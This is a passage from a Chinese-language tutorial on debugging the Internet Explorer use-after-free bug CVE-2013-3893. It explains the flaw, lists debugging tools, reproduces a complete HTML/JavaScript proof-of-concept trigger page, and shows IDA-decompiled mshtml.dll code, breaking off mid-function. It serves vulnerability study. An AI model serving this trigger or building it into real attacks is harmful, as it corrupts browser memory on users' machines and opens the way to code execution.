前言
Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题。IE漏洞就跟adobe系列一样经典,是学习exploit、shellcode的绝佳途径。
在IE漏洞中,UAF即Use-After-Free是最为经典的一类。UAF可以这样简单理解:A先后调用B、C、D三个子函数,B会把A的某个资源释放掉;而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针;C是个什么角色呢?我们可以通过B分配数据。所以利用方法来了:构造奇葩的数据,让A调用B,B把A的某个指针释放掉;接着执行C,C赶紧分配内存,企图使用刚才释放掉的内存,同时我们可以控制这个内存;最后D被调用,由于检查不严格调用了已经释放掉的某指针,而该指针实际上已经被我们重用并且扭曲。漏洞被利用。
但是学习IE的资料非常少,已知的大都是大牛们逆向mshtml.dll来的,辛辛苦苦得来的东西也不方便马上透露出来,所以自力更生是很重要的。我们希望了解IE运行机制,自己fuzz并找到有价值的漏洞。与此同时,能够调试已公布的漏洞,学习已有的POC,也是很重要的能力。所以这里选择CVE-2013-3893这个经典的UAF来学习IE漏洞的调试。
工具
windbg、ida、各版本IE程序、xp/vista/win7/win8虚拟机
windbg用于动态调试;IDA用于静态分析mshtml.dll——实现IE解释器的dll;各版本IE和windows是必不可少的。
基础知识
出现一个新的漏洞,涉及到的解析过程我们并不一定分析过,所以分析漏洞的同时也是学习浏览器机制的好机会。比如CVE-2013-3893这个漏洞,我们需要了解CTreeNode和元素的关系以及几个关键的函数实现。具体的结合POC和调试过程分析。
POC
<html> <script> function trigger() { Math.tan(3,4); var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); Math.sin(0); document.body.appendChild(id_0); document.body.appendChild(id_1); Math.cos(0); id_1.applyElement(id_0); Math.tan(3,4); id_0.onlosecapture=function(e){ document.write(""); } Math.sin(0); id_0[‘outerText’]=""; Math.cos(0); id_0.setCapture(); Math.tan(3,4); id_1.setCapture(); Math.sin(0); } window.onload = function() { trigger(); } </script> </html>
调试技巧
用windbg载入IE时设置jscript!tan、jscript!sin、jscript!cos断点,逐语句分析。也可以将POC页面设置为IE主页,便于直接载入。结合IDA对mshtml.dll分析相关函数。
漏洞原理
id_1.setCapture时,进入CDoc::PumpMessage;获取Element的TreeNode,调用CDoc::ReleaseDetachedCaptures();参数为0调用CDos::SetMouseCapture,进入CDos::ClearMouseCapture,调用CElement::FireEvent,触发事件导致id_0.onlosecapture指定的js函数调用,document.write(“”),该函数将所有对象释放CBodyElement的CTreeNode也被释放。然后返回PumpMessage,CDos::HasContainerCapture被调用,它引用了释放的CTreeNode对象。UAF发生。看下面IDA静态分析的代码。
int __userpurge CDoc::SetMouseCapture<eax>(int a1<eax>, LPVOID lpMem, int a3, int a4, int a5, int a6, int a7) { int v7; // ebx@1 int flag; // edi@1 int result; // eax@3 int v10; // esi@9 int v11; // ecx@16 int v12; // eax@22 int v13; // ST14_4@28 char v14; // [sp+10h] [bp-98h]@21 int v15; // [sp+14h] [bp-94h]@21 int v16; // [sp+A4h] [bp-4h]@5 void *lpMema; // [sp+B0h] [bp+8h]@7 v7 = (int)lpMem; flag = a1; if ( *((_WORD *)lpMem + 938) & 0x1000 ) flag = 0; if ( flag ) { v16 = (*((_DWORD *)lpMem + 65) >> 2) - 1; result = v16; if ( v16 < 0 ) goto LABEL_33; v11 = *((_DWORD *)lpMem + 67) + 4 * v16; do { if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == flag ) break; --result; v11 -= 4; } while ( result